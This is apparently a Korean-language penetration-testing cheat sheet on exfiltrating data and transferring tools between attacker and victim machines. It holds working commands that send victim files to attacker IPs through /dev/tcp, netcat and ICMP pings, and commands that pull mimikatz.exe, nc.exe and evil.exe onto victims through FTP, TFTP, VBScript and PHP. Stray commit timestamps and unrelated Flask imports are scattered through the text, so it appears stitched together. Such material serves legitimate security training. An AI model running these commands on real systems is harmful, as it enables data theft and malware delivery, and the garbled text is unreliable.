from flask import Flask, redirect, request
from urllib.parse import quote
2024-02-10 21:30:13 +00:00

## FTP
2024-02-10 21:30:13 +00:00
### FTP 서버 (파이썬)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
2024-02-10 21:30:13 +00:00
### FTP 서버 (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
2024-02-10 21:30:13 +00:00
### FTP 서버 (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
2024-02-10 21:30:13 +00:00
### **Windows** 클라이언트
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
## SMB
2024-02-10 21:30:13 +00:00
Kali를 서버로 사용
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
또는 samba를 사용하여 smb 공유를 만듭니다:
```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
2024-02-10 21:30:13 +00:00
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart
```
윈도우 환경에서는 다양한 방법을 사용하여 데이터를 유출할 수 있습니다. 아래는 일반적인 데이터 유출 방법입니다.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP
2024-02-10 21:30:13 +00:00
공격자는 SSHd가 실행 중이어야 합니다.
```bash
2024-02-10 21:30:13 +00:00
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
2024-02-10 21:30:13 +00:00
피해자가 SSH를 사용하고 있다면, 공격자는 피해자의 디렉토리를 공격자에게 마운트할 수 있습니다.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## 네트워크 채널
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
2024-02-10 21:30:13 +00:00
### 피해자로부터 파일 다운로드
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### 피해자에게 파일 업로드
- 파일을 업로드하여 피해자 시스템으로 데이터를 전송할 수 있습니다.
- 업로드된 파일은 다양한 방법으로 악용될 수 있으므로 주의해야 합니다.
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```

2024-02-10 21:30:13 +00:00
## **ICMP**
```bash
2022-09-13 11:57:23 +00:00
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
2024-02-10 21:30:13 +00:00
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
SMTP 서버로 데이터를 보낼 수 있다면, Python을 사용하여 데이터를 받는 SMTP를 생성할 수 있습니다:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
XP 및 2003에서는 기본적으로 활성화되어 있습니다 (다른 시스템에서는 설치 중 명시적으로 추가해야 함)
2024-02-10 21:30:13 +00:00
Kali에서 **TFTP 서버 시작**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**파이썬에서 TFTP 서버:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
**피해자**에서 Kali 서버에 연결하십시오:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
PHP 원 라이너를 사용하여 파일을 다운로드하세요:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
## VBScript
2024-02-10 21:30:13 +00:00
```bash
Attacker> python -m SimpleHTTPServer 80
```
**피해자**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
`debug.exe` 프로그램은 이진 파일을 검사하는 것뿐만 아니라 **16진수로부터 이진 파일을 재구성할 수 있는 능력**을 가지고 있습니다. 이는 `debug.exe`가 이진 파일을 생성할 수 있다는 것을 의미합니다. 그러나 중요한 점은 debug.exe가 **크기가 64 kb까지의 파일을 조립하는 제한**이 있다는 것입니다.
2024-02-07 04:06:18 +00:00
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
그럼 텍스트를 윈도우 셸에 복사하여 nc.exe라는 파일이 생성됩니다.
